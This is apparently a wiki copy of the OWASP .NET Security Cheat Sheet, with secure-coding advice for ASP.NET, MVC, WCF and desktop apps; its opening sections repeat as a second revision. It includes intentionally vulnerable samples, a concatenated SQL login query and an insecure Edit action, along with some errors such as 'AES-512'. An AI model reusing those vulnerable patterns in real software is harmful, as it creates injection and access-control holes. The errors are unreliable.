The .NET Framework is Microsoft's principal platform for enterprise development. It is the supporting API for ASP.NET, Windows Desktop applications, Windows Communication Foundation services, SharePoint, Visual Studio Tools for Office and other technologies.

===Updating the Framework===
The .NET Framework is kept up-to-date by Microsoft with the Windows Update service. Developers do not normally need to run seperate updates to the Framework. Windows update can be accessed at [http://windowsupdate.microsoft.com/ Windows Update] or from the Windows Update program on a Windows computer.

Individual frameworks can be kept up to date using [http://nuget.codeplex.com/wikipage?title=Getting%20Started&referringTitle=Home NuGet]. As Visual Studio prompts for updates, build it into your lifecycle.

Remember that third party libraries have to be updated separately and not all of them use Nuget. ELMAH for instance, requires a separate update effort.

==.NET Framework Guidance==

The .NET Framework is the set of APIs that support an advanced type system, data, graphics, network, file handling and most of the rest of what is needed to write enterprise apps in the Microsoft ecosystem. It is a nearly ubiquitous library that is strong named and versioned at the assembly level.

=== Data Access ===

* Use [http://msdn.microsoft.com/en-us/library/ms175528(v=sql.105).aspx Parameterized SQL] commands for all data access, without exception.
* Do not use [http://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlcommand.aspx SqlCommand] with a string parameter made up of a [http://msdn.microsoft.com/en-us/library/ms182310.aspx concatenated SQL String].
* Whitelist allowable values coming from the user. Use enums, [http://msdn.microsoft.com/en-us/library/f02979c7.aspx TryParse] or lookup values to assure that the data coming from the user is as expected.
** Enums are still vulnerable to unexpected values because .NET only validates a successful cast to the underlying data type, integer by default. [https://msdn.microsoft.com/en-us/library/system.enum.isdefined Enum.IsDefined] can validate whether the input value is valid within the list of defined constants.
* Apply the principle of least privilege when setting up the Database User in your database of choice. The database user should only be able to access items that make sense for the use case.
* Use of the [http://msdn.microsoft.com/en-us/data/ef.aspx Entity Framework] is a very effective [http://msdn.microsoft.com/en-us/library/ms161953(v=sql.105).aspx SQL injection] prevention mechanism. Remember that building your own ''ad hoc'' queries in EF is just as susceptible to SQLi as a plain SQL query.
* When using SQL Server, prefer integrated authentication over SQL authentication.
* Use [https://msdn.microsoft.com/en-us/library/mt163865.aspx Always Encrypted] where possible for sensitive data (SQL Server 2016 and SQL Azure),

=== Encryption ===
* Never, ever write your own encryption.
* Use the [http://msdn.microsoft.com/en-us/library/ms995355.aspx Windows Data Protection API (DPAPI)] for secure local storage of sensitive data.
* Use a strong hash algorithm.
** In .NET (both Framework and Core) the strongest hashing algorithm for general hashing requirements is [http://msdn.microsoft.com/en-us/library/system.security.cryptography.sha512.aspx System.Security.Cryptography.SHA512].
** In the .NET framework the strongest algorithm for password hashing is PBKDF2, implemented as [http://msdn.microsoft.com/en-us/library/system.security.cryptography.rfc2898derivebytes(v=vs.110).aspx System.Security.Cryptography.Rfc2898DeriveBytes].
** In .NET Core the strongest algorithm for password hashing is PBKDF2, implemented as [https://docs.microsoft.com/en-us/aspnet/core/security/data-protection/consumer-apis/password-hashing Microsoft.AspNetCore.Cryptography.KeyDerivation.Pbkdf2] which has several significant advantages over Rfc2898DeriveBytes.
** When using a hashing function to hash non-unique inputs such as passwords, use a salt value added to the original value before hashing.
* Make sure your application or protocol can easily support a future change of cryptographic algorithms.
* Use Nuget to keep all of your packages up to date. Watch the updates on your development setup, and plan updates to your applications accordingly.

=== General ===

* Lock down the config file.
** Remove all aspects of configuration that are not in use.
** Encrypt sensitive parts of the web.config using aspnet_regiis -pe

* For Click Once applications the .Net Framework should be upgraded to use version 4.6.2 to ensure TLS 1.1/1.2 support.

==ASP.NET Web Forms Guidance==

ASP.NET Web Forms is the original browser-based application development API for the .NET framework, and is still the most common enterprise platform for web application development.

* Always use [http://support.microsoft.com/kb/324069 HTTPS].
* Enable [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.requiressl.aspx requireSSL] on cookies and form elements and [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.httponlycookies.aspx HttpOnly] on cookies in the web.config.
* Implement [http://msdn.microsoft.com/en-us/library/h0hfz6fc(v=VS.71).aspx customErrors].
* Make sure [http://www.iis.net/configreference/system.webserver/tracing tracing] is turned off.
* While viewstate isn't always appropriate for web development, using it can provide CSRF mitigation. To make the ViewState protect against CSRF attacks you need to set the [http://msdn.microsoft.com/en-us/library/ms972969.aspx#securitybarriers_topic2 ViewStateUserKey]:

protected override OnInit(EventArgs e) {
base.OnInit(e);
ViewStateUserKey = Session.SessionID;
}

If you don't use Viewstate, then look to the default master page of the ASP.NET Web Forms default template for a manual anti-CSRF token using a double-submit cookie.

private const string AntiXsrfTokenKey = "__AntiXsrfToken";
private const string AntiXsrfUserNameKey = "__AntiXsrfUserName";
private string _antiXsrfTokenValue;
protected void Page_Init(object sender, EventArgs e)
{
// The code below helps to protect against XSRF attacks
var requestCookie = Request.Cookies[AntiXsrfTokenKey];
Guid requestCookieGuidValue;
if (requestCookie != null && Guid.TryParse(requestCookie.Value, out requestCookieGuidValue))
{
// Use the Anti-XSRF token from the cookie
_antiXsrfTokenValue = requestCookie.Value;
Page.ViewStateUserKey = _antiXsrfTokenValue;
}
else
{
// Generate a new Anti-XSRF token and save to the cookie
_antiXsrfTokenValue = Guid.NewGuid().ToString("N");
Page.ViewStateUserKey = _antiXsrfTokenValue;
var responseCookie = new HttpCookie(AntiXsrfTokenKey)
{
HttpOnly = true,
Value = _antiXsrfTokenValue
};
if (FormsAuthentication.RequireSSL && Request.IsSecureConnection)
{
responseCookie.Secure = true;
}
Response.Cookies.Set(responseCookie);
}
Page.PreLoad += master_Page_PreLoad;
}

protected void master_Page_PreLoad(object sender, EventArgs e)
{
if (!IsPostBack)
{
// Set Anti-XSRF token
ViewState[AntiXsrfTokenKey] = Page.ViewStateUserKey;
ViewState[AntiXsrfUserNameKey] = Context.User.Identity.Name ?? String.Empty;
}
else
{
// Validate the Anti-XSRF token
if ((string)ViewState[AntiXsrfTokenKey] != _antiXsrfTokenValue ||
(string)ViewState[AntiXsrfUserNameKey] != (Context.User.Identity.Name ?? String.Empty))
{
throw new InvalidOperationException("Validation of Anti-XSRF token failed.");
}
}
}

* Consider [http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security HSTS] in IIS.
** In the Connections pane, go to the site, application, or directory for which you want to set a custom HTTP header.
** In the Home pane, double-click HTTP Response Headers.
** In the HTTP Response Headers pane, click Add... in the Actions pane.
** In the Add Custom HTTP Response Header dialog box, set the name and value for your custom header, and then click OK.
** This is a recommended web.config setup that handles HSTS among other things.

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<httpRuntime enableVersionHeader="false"/>
</system.web>
<system.webServer>
<security>
<requestFiltering removeServerHeader="true" />
</security>
<staticContent>
<clientCache cacheControlCustom="public" cacheControlMode="UseMaxAge" cacheControlMaxAge="1.00:00:00" setEtag="true" />
</staticContent>
<httpProtocol>
<customHeaders>
<add name="Content-Security-Policy" value="default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'" />
<add name="X-Content-Type-Options" value="NOSNIFF" />
<add name="X-Frame-Options" value="DENY" />
<add name="X-Permitted-Cross-Domain-Policies" value="master-only"/>
<add name="X-XSS-Protection" value="1; mode=block"/>
<remove name="X-Powered-By"/>
</customHeaders>
</httpProtocol>
<rewrite>
<rules>
<rule name="Redirect to https">
<match url="(.*)"/>
<conditions>
<add input="{HTTPS}" pattern="Off"/>
<add input="{REQUEST_METHOD}" pattern="^get$|^head$" />
</conditions>
<action type="Redirect" url="https://{HTTP_HOST}/{R:1}" redirectType="Permanent"/>
</rule>
</rules>
<outboundRules>
<rule name="Add HSTS Header" enabled="true">
<match serverVariable="RESPONSE_Strict_Transport_Security"
pattern=".*" />
<conditions>
<add input="{HTTPS}" pattern="on" ignoreCase="true" />
</conditions>
<action type="Rewrite" value="max-age=15768000" />
</rule>
</outboundRules>
</rewrite>
</system.webServer>
</configuration>

* Remove the version header.

<httpRuntime enableVersionHeader="false" />

* Also remove the Server header.

HttpContext.Current.Response.Headers.Remove("Server");

=== HTTP validation and encoding ===

* Do not disable [http://www.asp.net/whitepapers/request-validation validateRequest] in the web.config or the page setup. This value enables limited XSS protection in ASP.NET and should be left intact as it provides partial prevention of Cross Site Scripting. Complete request validation is recommended in addition to the built in protections.
* The 4.5 version of the .NET Frameworks includes the AntiXssEncoder library, which has a comprehensive input encoding library for the prevention of XSS. Use it.
* Whitelist allowable values anytime user input is accepted.
* Validate the URI format using [http://msdn.microsoft.com/en-us/library/system.uri.iswellformeduristring.aspx Uri.IsWellFormedUriString].

=== Forms authentication ===

* Use cookies for persistence when possible. Cookieless Auth will default to UseDeviceProfile.
* Don't trust the URI of the request for persistence of the session or authorization. It can be easily faked.
* Reduce the forms authentication timeout from the default of 20 minutes to the shortest period appropriate for your application. If slidingExpiration is used this timeout resets after each request, so active users won't be affected.
* If HTTPS is not used, slidingExpiration should be disabled. Consider disabling slidingExpiration even with HTTPS.
* Always implement proper access controls.
** Compare user provided username with User.Identity.Name.
** Check roles against User.Identity.IsInRole.
* Use the ASP.NET Membership provider and role provider, but review the password storage. The default storage hashes the password with a single iteration of SHA-1 which is rather weak. The ASP.NET MVC4 template uses [http://www.asp.net/identity/overview/getting-started/introduction-to-aspnet-identity ASP.NET Identity] instead of ASP.NET Membership, and ASP.NET Identity uses PBKDF2 by default which is better. Review the OWASP [[Password Storage Cheat Sheet]] for more information.
* Explicitly authorize resource requests.
* Leverage role based authorization using User.Identity.IsInRole.

==ASP.NET MVC Guidance==

ASP.NET MVC (Model-View-Controller) is a contemporary web application framework that uses more standardized HTTP communication than the Web Forms postback model. The OWASP Top 10 lists the most prevalent and dangerous threats to web security in the world today and is reviewed every 3 years. This section is based on this. Your approach to securing your web application should be to start at the top threat A1 below and work down, this will ensure that any time spent on security will be spent most effectively spent and cover the top threats first and lesser threats afterwards. After covering the top 10 it is generally advisable to assess for other threats or get a professionally completed Penetration Test.

* '''A1 SQL Injection'''

DO: Using an object relational mapper (ORM) or stored procedures is the most effective way of countering the SQL Injection vulnerability.

DO: Use parameterized queries where a direct sql query must be used.

e.g. In entity frameworks:

var sql = @"Update [User] SET FirstName = @FirstName WHERE Id = @Id";
context.Database.ExecuteSqlCommand(
sql,
new SqlParameter("@FirstName", firstname),
new SqlParameter("@Id", id));

DO NOT: Concatenate strings anywhere in your code and execute them against your database (Known as dynamic sql). NB: You can still accidentally do this with ORMs or Stored procedures so check everywhere.

e.g
string strQry = "SELECT * FROM Users WHERE UserName='" + txtUser.Text + "' AND Password='" + txtPassword.Text + "'";
EXEC strQry // SQL Injection vulnerability!

DO: Practise Least Privilege - Connect to the database using an account with a minimum set of permissions required to do it's job i.e. not the sa account

* '''A2 Weak Account management'''

Ensure cookies are sent via httpOnly:

CookieHttpOnly = true,

Reduce the time period a session can be stolen in by reducing session timeout and removing sliding expiration:

ExpireTimeSpan = TimeSpan.FromMinutes(60),
SlidingExpiration = false

See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/App_Start/Startup.Auth.cs here] for full startup code snippet

Ensure cookie is sent over https in the production environment. This should be enforced in the config transforms:


<httpCookies requireSSL="true" xdt:Transform="SetAttributes(requireSSL)"/>
<authentication>
<forms requireSSL="true" xdt:Transform="SetAttributes(requireSSL)"/>

</authentication>

Protect LogOn, Registration and password reset methods against brute force attacks by throttling requests (see code below), consider also using ReCaptcha.

[HttpPost]
[AllowAnonymous]
[ValidateAntiForgeryToken]
'''[AllowXRequestsEveryXSecondsAttribute(Name = "LogOn", Message = "You have performed this action more than {x} times in the last {n} seconds.", Requests = 3, Seconds = 60)]'''
public async Task<ActionResult> LogOn(LogOnViewModel model, string returnUrl)

Find [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/Attributes/ThrottleAttribute.cs here] the code to prevent throttling

DO NOT: Roll your own authentication or session management, use the one provided by .Net

DO NOT: Tell someone if the account exists on LogOn, Registration or Password reset. Say something like 'Either the username or password was incorrect', or 'If this account exists then a reset token will be sent to the registered email address'. This protects against account enumeration. The feedback to the user should be identical whether or not the account exists, both in terms of content and behaviour: e.g. if the response takes 50% longer when the account is real then membership information can be guessed and tested.

* '''A3 Cross Site Scripting'''

DO NOT: Trust any data the user sends you, prefer white lists (always safe) over black lists

You get encoding of all HTML content with MVC3, to properly encode all content whether HTML, javascript, CSS, LDAP etc use the Microsoft AntiXSS library:

Install-Package AntiXSS

then set in config:

<system.web>

<httpRuntime targetFramework="4.5" enableVersionHeader="false" encoderType="Microsoft.Security.Application.AntiXssEncoder, AntiXssLibrary" maxRequestLength="4096" />

DO NOT: Use the [AllowHTML] attribute or helper class @Html.Raw unless you really know that the content you are writing to the browser is safe and has been escaped properly.

DO: Enable a content security policy, this will prevent your pages from accessing assets it should not be able to access (e.g. a malicious script):
<system.webServer>
<httpProtocol>
<customHeaders>
<add name="Content-Security-Policy" value="default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'; script-src 'self'" />
...

* '''A4 Insecure Direct object references'''

When you have a resource (object) which can be accessed by a reference (in the sample below this is the id) then you need to ensure that the user is intended to be there

// Insecure
public ActionResult Edit(int id)
{
var user = _context.Users.FirstOrDefault(e => e.Id == id);
return View("Details", new UserViewModel(user);
}

// Secure
public ActionResult Edit(int id)
{
var user = _context.Users.FirstOrDefault(e => e.Id == id);
// Establish user has right to edit the details
if (user.Id != _userIdentity.GetUserId())
{
HandleErrorInfo error = new HandleErrorInfo(new Exception("INFO: You do not have permission to edit these details"));
return View("Error", error);
}
return View("Edit", new UserViewModel(user);
}

* '''A5 Security Misconfiguration'''

Ensure debug and trace are off in production. This can be enforced using web.config transforms:


<compilation xdt:Transform="RemoveAttributes(debug)" />

<trace enabled="false" xdt:Transform="Replace"/>

DO NOT: Use default passwords

DO: (When using TLS) Redirect a request made over Http to https: In Global.asax.cs:

protected void Application_BeginRequest()
{
#if !DEBUG
// SECURE: Ensure any request is returned over SSL/TLS in production
if (!Request.IsLocal && !Context.Request.IsSecureConnection) {
var redirect = Context.Request.Url.ToString().ToLower(CultureInfo.CurrentCulture).Replace("http:", "https:");
Response.Redirect(redirect);
}
#endif
}

* '''A6 Sensitive data exposure'''

DO NOT: Store encrypted passwords.

DO: Use a strong hash to store password credentials. Use PBKDF2, BCrypt or SCrypt with at least 8000 iterations and a strong key.

DO: Enforce passwords with a minimum complexity that will survive a dictionary attack i.e. longer passwords that use the full character set (numbers, symbols and letters) to increase the entropy.

DO: Use a strong encryption routine such as AES-512 where personally identifiable data needs to be restored to it's original format. Do not encrypt passwords. Protect encryption keys more than any other asset. Apply the following test: Would you be happy leaving the data on a spreadsheet on a bus for everyone to read. Assume the attacker can get direct access to your database and protect it accordingly.

DO: Use TLS 1.2 for your entire site. Get a free certificate from [https://www.startssl.com/ StartSSL.com] or [https://letsencrypt.org/ LetsEncrypt.org].

DO NOT: Allow SSL, this is now obsolete

DO: Have a strong TLS policy (see [http://www.ssllabs.com/projects/best-practises/ SSL Best Practises]), use TLS 1.2 wherever possible. Then check the configuration using [https://www.ssllabs.com/ssltest/ SSL Test]

DO: Ensure headers are not disclosing information about your application. See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs HttpHeaders.cs] , [https://github.com/Dionach/StripHeaders/ Dionach StripHeaders ] or disable via web.config:
<system.web>
<httpRuntime enableVersionHeader="false"/>
</system.web>
<system.webServer>
<security>
<requestFiltering removeServerHeader="true" />
</security>
<httpProtocol>
<customHeaders>
<add name="X-Content-Type-Options" value="NOSNIFF" />
<add name="X-Frame-Options" value="DENY" />
<add name="X-Permitted-Cross-Domain-Policies" value="master-only"/>
<add name="X-XSS-Protection" value="1; mode=block"/>
<remove name="X-Powered-By"/>
</customHeaders>
</httpProtocol>

* '''A7 Missing function level access control'''

DO: Authorize users on all externally facing endpoints. The .Net framework has many ways to authorize a user, use them at method level:

[Authorize(Roles = "Admin")]
[HttpGet]
public ActionResult Index(int page = 1)

or better yet, at controller level:

[Authorize]
public class UserController

You can also check roles in code using identity features in .net: System.Web.Security.Roles.IsUserInRole(userName, roleName)

* '''A8 Cross site request forgery'''

DO: Send the anti-forgery token with every Post/Put request:

using (Html.BeginForm("LogOff", "Account", FormMethod.Post, new { id = "logoutForm", @class = "pull-right" }))
{
@Html.AntiForgeryToken()
<ul class="nav nav-pills">
<li role="presentation">Logged on as @User.Identity.Name</li>
<li role="presentation"><a href="javascript:document.getElementById('logoutForm').submit()">Log off</a></li>
</ul>
}

Then validate it at the method or preferably the controller level:

[HttpPost]
'''[ValidateAntiForgeryToken]'''
public ActionResult LogOff()

Make sure the tokens are removed completely for invalidation on logout.

/// <summary>
/// SECURE: Remove any remaining cookies including Anti-CSRF cookie
/// </summary>
public void RemoveAntiForgeryCookie(Controller controller)
{
string[] allCookies = controller.Request.Cookies.AllKeys;
foreach (string cookie in allCookies)
{
if (controller.Response.Cookies[cookie] != null && cookie == "__RequestVerificationToken")
{
controller.Response.Cookies[cookie].Expires = DateTime.Now.AddDays(-1);
}
}
}

NB: You will need to attach the anti-forgery token to Ajax requests.

* '''A9 Using components with known vulnerabilities'''

DO: Keep the .Net framework updated with the latest patches

DO: Keep your NuGet packages up to date, many will contain their own vulnerabilities.

DO: Run the OWASP Dependency checker against your application as part of your build process and act on any high level vulnerabilities. [[https://www.owasp.org/index.php/OWASP_Dependency_Check OWASP Dependency Checker]]

* '''A10 Unvalidated redirects and forwards'''

A protection against this was introduced in Mvc 3 template. Here is the code:

public async Task<ActionResult> LogOn(LogOnViewModel model, string returnUrl)
{
if (ModelState.IsValid)
{
var logonResult = await _userManager.TryLogOnAsync(model.UserName, model.Password);
if (logonResult.Success)
{
await _userManager.LogOnAsync(logonResult.UserName, model.RememberMe);
return RedirectToLocal(returnUrl);
....

private ActionResult RedirectToLocal(string returnUrl)
{
if (Url.IsLocalUrl(returnUrl))
{
return Redirect(returnUrl);
}
else
{
return RedirectToAction("Landing", "Account");
}
}

Other advice:

* Protect against Clickjacking and man in the middle attack from capturing an initial Non-TLS request, set the X-Frame-Options and Strict-Transport-Security (HSTS) headers. Full details [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs here]
* Protect against a man in the middle attack for a user who has never been to your site before. Register for [https://hstspreload.org/ HSTS preload]
* Maintain security testing and analysis on Web API services. They are hidden inside MEV sites, and are public parts of a site that will be found by an attacker. All of the MVC guidance and much of the WCF guidance applies to the Web API.

More information:

For more information on all of the above and code samples incorporated into a sample MVC5 application with an enhanced security baseline go to [http://github.com/johnstaveley/SecurityEssentials/ Security Essentials Baseline project]

==XAML Guidance==

* Work within the constraints of Internet Zone security for your application.
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.

==Windows Forms Guidance==

* Use partial trust when possible. Partially trusted Windows applications reduce the attack surface of an application. Manage a list of what permissions your app must use, and what it may use, and then make the request for those permissions declaratively at run time.
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.

==WCF Guidance==

* Keep in mind that the only safe way to pass a request in RESTful services is via HTTP POST, with TLS enabled. GETs are visible in the querystring, and a lack of TLS means the body can be intercepted.
* Avoid BasicHttpBinding. It has no default security configuration. Use WSHttpBinding instead.
* Use at least two security modes for your binding. Message security includes security provisions in the headers. Transport security means use of SSL. TransportWithMessageCredential combines the two.
* Test your WCF implementation with a fuzzer like the Zed Attack Proxy.

== Authors and Primary Editors ==

Bill Sempf - bill.sempf(at)owasp.org<br/>
Troy Hunt - troyhunt(at)hotmail.com<br/>
Jeremy Long - jeremy.long(at)owasp.org<br />

== Contributors ==

Shane Murnion
John Staveley
Steve Bamelis
Xander Sherry

== Other Cheatsheets ==

{{Cheatsheet_Navigation_Body}}

|}

[[Category:Cheatsheets]][[Category:OWASP .NET Project]]

.NET Security Cheat Sheet

2017-09-20T15:00:25Z

Bill Sempf: Added contributors.

__NOTOC__
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
== Introduction ==
__TOC__{{TOC hidden}}
This page intends to provide quick basic .NET security tips for developers.

===The .NET Framework===
The .NET Framework is Microsoft's principal platform for enterprise development. It is the supporting API for ASP.NET, Windows Desktop applications, Windows Communication Foundation services, SharePoint, Visual Studio Tools for Office and other technologies.

===Updating the Framework===
The .NET Framework is kept up-to-date by Microsoft with the Windows Update service. Developers do not normally need to run seperate updates to the Framework. Windows update can be accessed at [http://windowsupdate.microsoft.com/ Windows Update] or from the Windows Update program on a Windows computer.

Individual frameworks can be kept up to date using [http://nuget.codeplex.com/wikipage?title=Getting%20Started&referringTitle=Home NuGet]. As Visual Studio prompts for updates, build it into your lifecycle.

Remember that third party libraries have to be updated separately and not all of them use Nuget. ELMAH for instance, requires a separate update effort.

==.NET Framework Guidance==

The .NET Framework is the set of APIs that support an advanced type system, data, graphics, network, file handling and most of the rest of what is needed to write enterprise apps in the Microsoft ecosystem. It is a nearly ubiquitous library that is strong named and versioned at the assembly level.

=== Data Access ===

* Use [http://msdn.microsoft.com/en-us/library/ms175528(v=sql.105).aspx Parameterized SQL] commands for all data access, without exception.
* Do not use [http://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlcommand.aspx SqlCommand] with a string parameter made up of a [http://msdn.microsoft.com/en-us/library/ms182310.aspx concatenated SQL String].
* Whitelist allowable values coming from the user. Use enums, [http://msdn.microsoft.com/en-us/library/f02979c7.aspx TryParse] or lookup values to assure that the data coming from the user is as expected.
** Enums are still vulnerable to unexpected values because .NET only validates a successful cast to the underlying data type, integer by default. [https://msdn.microsoft.com/en-us/library/system.enum.isdefined Enum.IsDefined] can validate whether the input value is valid within the list of defined constants.
* Apply the principle of least privilege when setting up the Database User in your database of choice. The database user should only be able to access items that make sense for the use case.
* Use of the [http://msdn.microsoft.com/en-us/data/ef.aspx Entity Framework] is a very effective [http://msdn.microsoft.com/en-us/library/ms161953(v=sql.105).aspx SQL injection] prevention mechanism. Remember that building your own ''ad hoc'' queries in EF is just as susceptible to SQLi as a plain SQL query.
* When using SQL Server, prefer integrated authentication over SQL authentication.
* Use [https://msdn.microsoft.com/en-us/library/mt163865.aspx Always Encrypted] where possible for sensitive data (SQL Server 2016 and SQL Azure),

=== Encryption ===
* Never, ever write your own encryption.
* Use the [http://msdn.microsoft.com/en-us/library/ms995355.aspx Windows Data Protection API (DPAPI)] for secure local storage of sensitive data.
* Use a strong hash algorithm.
** In .NET (both Framework and Core) the strongest hashing algorithm for general hashing requirements is [http://msdn.microsoft.com/en-us/library/system.security.cryptography.sha512.aspx System.Security.Cryptography.SHA512].
** In the .NET framework the strongest algorithm for password hashing is PBKDF2, implemented as [http://msdn.microsoft.com/en-us/library/system.security.cryptography.rfc2898derivebytes(v=vs.110).aspx System.Security.Cryptography.Rfc2898DeriveBytes].
** In .NET Core the strongest algorithm for password hashing is PBKDF2, implemented as [https://docs.microsoft.com/en-us/aspnet/core/security/data-protection/consumer-apis/password-hashing Microsoft.AspNetCore.Cryptography.KeyDerivation.Pbkdf2] which has several significant advantages over Rfc2898DeriveBytes.
** When using a hashing function to hash non-unique inputs such as passwords, use a salt value added to the original value before hashing.
* Make sure your application or protocol can easily support a future change of cryptographic algorithms.
* Use Nuget to keep all of your packages up to date. Watch the updates on your development setup, and plan updates to your applications accordingly.

=== General ===

* Lock down the config file.
** Remove all aspects of configuration that are not in use.
** Encrypt sensitive parts of the web.config using aspnet_regiis -pe

* For Click Once applications the .Net Framework should be upgraded to use version 4.6.2 to ensure TLS 1.1/1.2 support.

==ASP.NET Web Forms Guidance==

ASP.NET Web Forms is the original browser-based application development API for the .NET framework, and is still the most common enterprise platform for web application development.

* Always use [http://support.microsoft.com/kb/324069 HTTPS].
* Enable [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.requiressl.aspx requireSSL] on cookies and form elements and [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.httponlycookies.aspx HttpOnly] on cookies in the web.config.
* Implement [http://msdn.microsoft.com/en-us/library/h0hfz6fc(v=VS.71).aspx customErrors].
* Make sure [http://www.iis.net/configreference/system.webserver/tracing tracing] is turned off.
* While viewstate isn't always appropriate for web development, using it can provide CSRF mitigation. To make the ViewState protect against CSRF attacks you need to set the [http://msdn.microsoft.com/en-us/library/ms972969.aspx#securitybarriers_topic2 ViewStateUserKey]:

protected override OnInit(EventArgs e) {
base.OnInit(e);
ViewStateUserKey = Session.SessionID;
}

If you don't use Viewstate, then look to the default master page of the ASP.NET Web Forms default template for a manual anti-CSRF token using a double-submit cookie.

private const string AntiXsrfTokenKey = "__AntiXsrfToken";
private const string AntiXsrfUserNameKey = "__AntiXsrfUserName";
private string _antiXsrfTokenValue;
protected void Page_Init(object sender, EventArgs e)
{
// The code below helps to protect against XSRF attacks
var requestCookie = Request.Cookies[AntiXsrfTokenKey];
Guid requestCookieGuidValue;
if (requestCookie != null && Guid.TryParse(requestCookie.Value, out requestCookieGuidValue))
{
// Use the Anti-XSRF token from the cookie
_antiXsrfTokenValue = requestCookie.Value;
Page.ViewStateUserKey = _antiXsrfTokenValue;
}
else
{
// Generate a new Anti-XSRF token and save to the cookie
_antiXsrfTokenValue = Guid.NewGuid().ToString("N");
Page.ViewStateUserKey = _antiXsrfTokenValue;
var responseCookie = new HttpCookie(AntiXsrfTokenKey)
{
HttpOnly = true,
Value = _antiXsrfTokenValue
};
if (FormsAuthentication.RequireSSL && Request.IsSecureConnection)
{
responseCookie.Secure = true;
}
Response.Cookies.Set(responseCookie);
}
Page.PreLoad += master_Page_PreLoad;
}

protected void master_Page_PreLoad(object sender, EventArgs e)
{
if (!IsPostBack)
{
// Set Anti-XSRF token
ViewState[AntiXsrfTokenKey] = Page.ViewStateUserKey;
ViewState[AntiXsrfUserNameKey] = Context.User.Identity.Name ?? String.Empty;
}
else
{
// Validate the Anti-XSRF token
if ((string)ViewState[AntiXsrfTokenKey] != _antiXsrfTokenValue ||
(string)ViewState[AntiXsrfUserNameKey] != (Context.User.Identity.Name ?? String.Empty))
{
throw new InvalidOperationException("Validation of Anti-XSRF token failed.");
}
}
}

* Consider [http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security HSTS] in IIS.
** In the Connections pane, go to the site, application, or directory for which you want to set a custom HTTP header.
** In the Home pane, double-click HTTP Response Headers.
** In the HTTP Response Headers pane, click Add... in the Actions pane.
** In the Add Custom HTTP Response Header dialog box, set the name and value for your custom header, and then click OK.
** This is a recommended web.config setup that handles HSTS among other things.

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<httpRuntime enableVersionHeader="false"/>
</system.web>
<system.webServer>
<security>
<requestFiltering removeServerHeader="true" />
</security>
<staticContent>
<clientCache cacheControlCustom="public" cacheControlMode="UseMaxAge" cacheControlMaxAge="1.00:00:00" setEtag="true" />
</staticContent>
<httpProtocol>
<customHeaders>
<add name="Content-Security-Policy" value="default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'" />
<add name="X-Content-Type-Options" value="NOSNIFF" />
<add name="X-Frame-Options" value="DENY" />
<add name="X-Permitted-Cross-Domain-Policies" value="master-only"/>
<add name="X-XSS-Protection" value="1; mode=block"/>
<remove name="X-Powered-By"/>
</customHeaders>
</httpProtocol>
<rewrite>
<rules>
<rule name="Redirect to https">
<match url="(.*)"/>
<conditions>
<add input="{HTTPS}" pattern="Off"/>
<add input="{REQUEST_METHOD}" pattern="^get$|^head$" />
</conditions>
<action type="Redirect" url="https://{HTTP_HOST}/{R:1}" redirectType="Permanent"/>
</rule>
</rules>
<outboundRules>
<rule name="Add HSTS Header" enabled="true">
<match serverVariable="RESPONSE_Strict_Transport_Security"
pattern=".*" />
<conditions>
<add input="{HTTPS}" pattern="on" ignoreCase="true" />
</conditions>
<action type="Rewrite" value="max-age=15768000" />
</rule>
</outboundRules>
</rewrite>
</system.webServer>
</configuration>

* Remove the version header.

<httpRuntime enableVersionHeader="false" />

* Also remove the Server header.

HttpContext.Current.Response.Headers.Remove("Server");

=== HTTP validation and encoding ===

* Do not disable [http://www.asp.net/whitepapers/request-validation validateRequest] in the web.config or the page setup. This value enables limited XSS protection in ASP.NET and should be left intact as it provides partial prevention of Cross Site Scripting. Complete request validation is recommended in addition to the built in protections.
* The 4.5 version of the .NET Frameworks includes the AntiXssEncoder library, which has a comprehensive input encoding library for the prevention of XSS. Use it.
* Whitelist allowable values anytime user input is accepted.
* Validate the URI format using [http://msdn.microsoft.com/en-us/library/system.uri.iswellformeduristring.aspx Uri.IsWellFormedUriString].

=== Forms authentication ===

* Use cookies for persistence when possible. Cookieless Auth will default to UseDeviceProfile.
* Don't trust the URI of the request for persistence of the session or authorization. It can be easily faked.
* Reduce the forms authentication timeout from the default of 20 minutes to the shortest period appropriate for your application. If slidingExpiration is used this timeout resets after each request, so active users won't be affected.
* If HTTPS is not used, slidingExpiration should be disabled. Consider disabling slidingExpiration even with HTTPS.
* Always implement proper access controls.
** Compare user provided username with User.Identity.Name.
** Check roles against User.Identity.IsInRole.
* Use the ASP.NET Membership provider and role provider, but review the password storage. The default storage hashes the password with a single iteration of SHA-1 which is rather weak. The ASP.NET MVC4 template uses [http://www.asp.net/identity/overview/getting-started/introduction-to-aspnet-identity ASP.NET Identity] instead of ASP.NET Membership, and ASP.NET Identity uses PBKDF2 by default which is better. Review the OWASP [[Password Storage Cheat Sheet]] for more information.
* Explicitly authorize resource requests.
* Leverage role based authorization using User.Identity.IsInRole.

==ASP.NET MVC Guidance==

